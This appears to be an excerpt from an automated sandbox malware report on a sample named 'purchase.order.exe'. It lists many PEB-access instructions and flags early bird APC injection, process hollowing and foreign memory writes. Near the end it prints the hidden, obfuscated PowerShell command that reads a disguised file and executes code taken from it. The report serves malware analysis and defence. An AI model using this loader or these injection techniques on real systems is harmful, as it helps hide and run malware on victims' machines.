Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A6C7 mov eax, dword ptr fs:[00000030h]	8_2_21B1A6C7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE262C mov eax, dword ptr fs:[00000030h]	8_2_21AE262C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE627 mov eax, dword ptr fs:[00000030h]	8_2_21AFE627
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B16620 mov eax, dword ptr fs:[00000030h]	8_2_21B16620
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B18620 mov eax, dword ptr fs:[00000030h]	8_2_21B18620
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF260B mov eax, dword ptr fs:[00000030h]	8_2_21AF260B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22619 mov eax, dword ptr fs:[00000030h]	8_2_21B22619
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E609 mov eax, dword ptr fs:[00000030h]	8_2_21B5E609
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B12674 mov eax, dword ptr fs:[00000030h]	8_2_21B12674
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A660 mov eax, dword ptr fs:[00000030h]	8_2_21B1A660
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A660 mov eax, dword ptr fs:[00000030h]	8_2_21B1A660
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA866E mov eax, dword ptr fs:[00000030h]	8_2_21BA866E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA866E mov eax, dword ptr fs:[00000030h]	8_2_21BA866E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFC640 mov eax, dword ptr fs:[00000030h]	8_2_21AFC640
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE09AD mov eax, dword ptr fs:[00000030h]	8_2_21AE09AD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE09AD mov eax, dword ptr fs:[00000030h]	8_2_21AE09AD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B689B3 mov esi, dword ptr fs:[00000030h]	8_2_21B689B3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B689B3 mov eax, dword ptr fs:[00000030h]	8_2_21B689B3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B689B3 mov eax, dword ptr fs:[00000030h]	8_2_21B689B3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B129F9 mov eax, dword ptr fs:[00000030h]	8_2_21B129F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B129F9 mov eax, dword ptr fs:[00000030h]	8_2_21B129F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6E9E0 mov eax, dword ptr fs:[00000030h]	8_2_21B6E9E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B149D0 mov eax, dword ptr fs:[00000030h]	8_2_21B149D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAA9D3 mov eax, dword ptr fs:[00000030h]	8_2_21BAA9D3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B769C0 mov eax, dword ptr fs:[00000030h]	8_2_21B769C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA9D0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA9D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6892A mov eax, dword ptr fs:[00000030h]	8_2_21B6892A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B7892B mov eax, dword ptr fs:[00000030h]	8_2_21B7892B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6C912 mov eax, dword ptr fs:[00000030h]	8_2_21B6C912
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8918 mov eax, dword ptr fs:[00000030h]	8_2_21AD8918
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8918 mov eax, dword ptr fs:[00000030h]	8_2_21AD8918
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E908 mov eax, dword ptr fs:[00000030h]	8_2_21B5E908
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E908 mov eax, dword ptr fs:[00000030h]	8_2_21B5E908
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B84978 mov eax, dword ptr fs:[00000030h]	8_2_21B84978
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B84978 mov eax, dword ptr fs:[00000030h]	8_2_21B84978
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6C97C mov eax, dword ptr fs:[00000030h]	8_2_21B6C97C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B06962 mov eax, dword ptr fs:[00000030h]	8_2_21B06962
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B06962 mov eax, dword ptr fs:[00000030h]	8_2_21B06962
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B06962 mov eax, dword ptr fs:[00000030h]	8_2_21B06962
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B2096E mov eax, dword ptr fs:[00000030h]	8_2_21B2096E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B2096E mov edx, dword ptr fs:[00000030h]	8_2_21B2096E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B2096E mov eax, dword ptr fs:[00000030h]	8_2_21B2096E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B60946 mov eax, dword ptr fs:[00000030h]	8_2_21B60946
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4940 mov eax, dword ptr fs:[00000030h]	8_2_21BB4940
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0887 mov eax, dword ptr fs:[00000030h]	8_2_21AE0887
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6C89D mov eax, dword ptr fs:[00000030h]	8_2_21B6C89D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C8F9 mov eax, dword ptr fs:[00000030h]	8_2_21B1C8F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C8F9 mov eax, dword ptr fs:[00000030h]	8_2_21B1C8F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAA8E4 mov eax, dword ptr fs:[00000030h]	8_2_21BAA8E4
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E8C0 mov eax, dword ptr fs:[00000030h]	8_2_21B0E8C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB08C0 mov eax, dword ptr fs:[00000030h]	8_2_21BB08C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A830 mov eax, dword ptr fs:[00000030h]	8_2_21B1A830
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8483A mov eax, dword ptr fs:[00000030h]	8_2_21B8483A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8483A mov eax, dword ptr fs:[00000030h]	8_2_21B8483A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov eax, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov eax, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov eax, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov ecx, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov eax, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02835 mov eax, dword ptr fs:[00000030h]	8_2_21B02835
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6C810 mov eax, dword ptr fs:[00000030h]	8_2_21B6C810
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6E872 mov eax, dword ptr fs:[00000030h]	8_2_21B6E872
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6E872 mov eax, dword ptr fs:[00000030h]	8_2_21B6E872
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76870 mov eax, dword ptr fs:[00000030h]	8_2_21B76870
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76870 mov eax, dword ptr fs:[00000030h]	8_2_21B76870
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B10854 mov eax, dword ptr fs:[00000030h]	8_2_21B10854
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF2840 mov ecx, dword ptr fs:[00000030h]	8_2_21AF2840
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4859 mov eax, dword ptr fs:[00000030h]	8_2_21AE4859
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4859 mov eax, dword ptr fs:[00000030h]	8_2_21AE4859
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B94BB0 mov eax, dword ptr fs:[00000030h]	8_2_21B94BB0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B94BB0 mov eax, dword ptr fs:[00000030h]	8_2_21B94BB0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0BBE mov eax, dword ptr fs:[00000030h]	8_2_21AF0BBE
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0BBE mov eax, dword ptr fs:[00000030h]	8_2_21AF0BBE
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6CBF0 mov eax, dword ptr fs:[00000030h]	8_2_21B6CBF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0EBFC mov eax, dword ptr fs:[00000030h]	8_2_21B0EBFC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8BF0 mov eax, dword ptr fs:[00000030h]	8_2_21AE8BF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8BF0 mov eax, dword ptr fs:[00000030h]	8_2_21AE8BF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8BF0 mov eax, dword ptr fs:[00000030h]	8_2_21AE8BF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0BCD mov eax, dword ptr fs:[00000030h]	8_2_21AE0BCD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0BCD mov eax, dword ptr fs:[00000030h]	8_2_21AE0BCD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0BCD mov eax, dword ptr fs:[00000030h]	8_2_21AE0BCD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8EBD0 mov eax, dword ptr fs:[00000030h]	8_2_21B8EBD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B00BCB mov eax, dword ptr fs:[00000030h]	8_2_21B00BCB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B00BCB mov eax, dword ptr fs:[00000030h]	8_2_21B00BCB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B00BCB mov eax, dword ptr fs:[00000030h]	8_2_21B00BCB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0EB20 mov eax, dword ptr fs:[00000030h]	8_2_21B0EB20
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0EB20 mov eax, dword ptr fs:[00000030h]	8_2_21B0EB20
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA8B28 mov eax, dword ptr fs:[00000030h]	8_2_21BA8B28
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA8B28 mov eax, dword ptr fs:[00000030h]	8_2_21BA8B28
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5EB1D mov eax, dword ptr fs:[00000030h]	8_2_21B5EB1D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4B00 mov eax, dword ptr fs:[00000030h]	8_2_21BB4B00
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADCB7E mov eax, dword ptr fs:[00000030h]	8_2_21ADCB7E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8EB50 mov eax, dword ptr fs:[00000030h]	8_2_21B8EB50
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB2B57 mov eax, dword ptr fs:[00000030h]	8_2_21BB2B57
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB2B57 mov eax, dword ptr fs:[00000030h]	8_2_21BB2B57
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB2B57 mov eax, dword ptr fs:[00000030h]	8_2_21BB2B57
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB2B57 mov eax, dword ptr fs:[00000030h]	8_2_21BB2B57
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B94B4B mov eax, dword ptr fs:[00000030h]	8_2_21B94B4B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B94B4B mov eax, dword ptr fs:[00000030h]	8_2_21B94B4B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76B40 mov eax, dword ptr fs:[00000030h]	8_2_21B76B40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76B40 mov eax, dword ptr fs:[00000030h]	8_2_21B76B40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAAB40 mov eax, dword ptr fs:[00000030h]	8_2_21BAAB40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B88B42 mov eax, dword ptr fs:[00000030h]	8_2_21B88B42
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8B50 mov eax, dword ptr fs:[00000030h]	8_2_21AD8B50
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8AA0 mov eax, dword ptr fs:[00000030h]	8_2_21AE8AA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8AA0 mov eax, dword ptr fs:[00000030h]	8_2_21AE8AA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B36AA4 mov eax, dword ptr fs:[00000030h]	8_2_21B36AA4
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B18A90 mov edx, dword ptr fs:[00000030h]	8_2_21B18A90
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80 mov eax, dword ptr fs:[00000030h]	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4A80 mov eax, dword ptr fs:[00000030h]	8_2_21BB4A80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1AAEE mov eax, dword ptr fs:[00000030h]	8_2_21B1AAEE
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1AAEE mov eax, dword ptr fs:[00000030h]	8_2_21B1AAEE
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B14AD0 mov eax, dword ptr fs:[00000030h]	8_2_21B14AD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B14AD0 mov eax, dword ptr fs:[00000030h]	8_2_21B14AD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0AD0 mov eax, dword ptr fs:[00000030h]	8_2_21AE0AD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B36ACC mov eax, dword ptr fs:[00000030h]	8_2_21B36ACC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B36ACC mov eax, dword ptr fs:[00000030h]	8_2_21B36ACC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B36ACC mov eax, dword ptr fs:[00000030h]	8_2_21B36ACC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B04A35 mov eax, dword ptr fs:[00000030h]	8_2_21B04A35
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B04A35 mov eax, dword ptr fs:[00000030h]	8_2_21B04A35
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1CA38 mov eax, dword ptr fs:[00000030h]	8_2_21B1CA38
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1CA24 mov eax, dword ptr fs:[00000030h]	8_2_21B1CA24
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0EA2E mov eax, dword ptr fs:[00000030h]	8_2_21B0EA2E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6CA11 mov eax, dword ptr fs:[00000030h]	8_2_21B6CA11
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5CA72 mov eax, dword ptr fs:[00000030h]	8_2_21B5CA72
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5CA72 mov eax, dword ptr fs:[00000030h]	8_2_21B5CA72
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8EA60 mov eax, dword ptr fs:[00000030h]	8_2_21B8EA60
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1CA6F mov eax, dword ptr fs:[00000030h]	8_2_21B1CA6F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1CA6F mov eax, dword ptr fs:[00000030h]	8_2_21B1CA6F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Early bird code injection technique detected

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Sample uses process hollowing technique

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Section unmapped: C:\Users\user\AppData\Local\Temp\Fathoming.exe base address: 400000

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Users\user\AppData\Local\Temp\Fathoming.exe base: 1660000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Users\user\AppData\Local\Temp\Fathoming.exe "C:\Users\user\AppData\Local\Temp\Fathoming.exe"

Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$unsolaced207=gc -raw 'c:\users\user\appdata\local\temp\blankbook85\patchworkenes\resprmiernes\databehandlende\pennyroyal.gri';$fortolkningssikker=$unsolaced207.substring(29825,3);.$fortolkningssikker($unsolaced207)
Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$unsolaced207=gc -raw 'c:\users\user\appdata\local\temp\blankbook85\patchworkenes\resprmiernes\databehandlende\pennyroyal.gri';$fortolkningssikker=$unsolaced207.substring(29825,3);.$fortolkningssikker($unsolaced207)			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
